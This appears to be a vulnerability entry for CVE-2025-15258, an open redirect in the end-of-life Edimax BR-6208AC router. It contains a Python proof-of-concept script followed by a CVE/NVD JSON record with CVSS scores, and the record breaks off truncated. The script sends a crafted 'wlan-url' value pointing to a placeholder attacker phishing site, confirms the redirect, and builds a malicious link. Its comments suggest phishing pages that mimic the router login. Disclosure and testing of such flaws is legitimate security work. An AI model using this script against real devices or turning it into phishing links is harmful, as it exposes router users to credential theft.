CVE-2025-15258

# CVE-2025-15258 PoC - Edimax BR-6208AC Open Redirect # Target: Edimax BR-6208AC V2 (Firmware 1.02/1.03) # Vulnerability: Open Redirect in /goform/formALGSetup via wlan-url parameter import requests target = "http://192.168.1.1" # Router IP (typical default) # Malicious URL with open redirect payload # Attacker can redirect users to any external site malicious_url = "https://attacker.com/phishing" # Construct the exploit URL # The vulnerable parameter is 'wlan-url' in the formALGSetup handler exploit_params = { "wlan-url": malicious_url, "wlan-en": "1", "submit-url": "/alg.htm" # Legitimate redirect target } # Method 1: Direct POST request to vulnerable endpoint print("[*] Testing CVE-2025-15258 Open Redirect...") print(f"[*] Target: {target}/goform/formALGSetup") try: response = requests.post( f"{target}/goform/formALGSetup", data=exploit_params, allow_redirects=False, timeout=10 ) if response.status_code in [301, 302, 303]: location = response.headers.get('Location', '') print(f"[+] Vulnerable! Redirect to: {location}") if malicious_url in location: print("[+] Confirmed: Open redirect to external domain works!") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 2: URL with embedded payload (if reflected in response) print("\n[*] Testing via URL parameter injection...") exploit_url = f"{target}/goform/formALGSetup?wlan-url={malicious_url}" print(f"[*] Malicious URL: {exploit_url}") # Note: This PoC demonstrates the vulnerability exists. # In real attacks, social engineering is used to trick users into clicking the link. # The attacker can create convincing phishing pages mimicking the router login.

{"cve": {"id": "CVE-2025-15258", "sourceIdentifier": "[email protected]", "published": "2025-12-30T18:15:45.910", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Edimax BR-6208AC 1.02/1.03. Affected by this issue is the function formALGSetup of the file /goform/formALGSetup of the component Web-based Configuration Interface. This manipulation of the argument wlan-url causes open redirect. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. Edimax confirms this issue: \"The product mentioned, EDIMAX BR-6208AC V2, has reached its End of Life (EOL) status. It is no longer supported or maintained by Edimax, and it is no longer available for purchase in the market. Consequently, there will be no further firmware updates or patches for this device. We recommend users upgrade to newer models for better security.\" This vulnerability only affects products that are no longer supported by the maintainer."}, {"lang": "es", "value": "Se ha identificado una debilidad en Edimax BR-6208AC 1.02/1.03. Afectada por este problema es la función formALGSetup del archivo /goform/formALGSetup del componente Interfaz de Configuración Basada en Web. Esta manipulación del argumento wlan-url causa redirección abierta. El ataque es posible de llevar a cabo de forma remota. El exploit ha sido puesto a disposición del público y podría ser explotado. Edimax confirma este problema: 'El producto mencionado, EDIMAX BR-6208AC V2, ha alcanzado su estado de Fin de Vida Útil (EOL). Ya no es compatible ni mantenido por Edimax, y ya no está disponible para su compra en el mercado. En consecuencia, no habrá más actualizaciones de firmware ni parches para este dispositivo. Recomendamos a los usuarios actualizar a modelos más nuevos para una mejor seguridad.' Esta vulnerabilidad solo afecta a productos que ya no son compatibles con el mantenedor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": ... (truncated)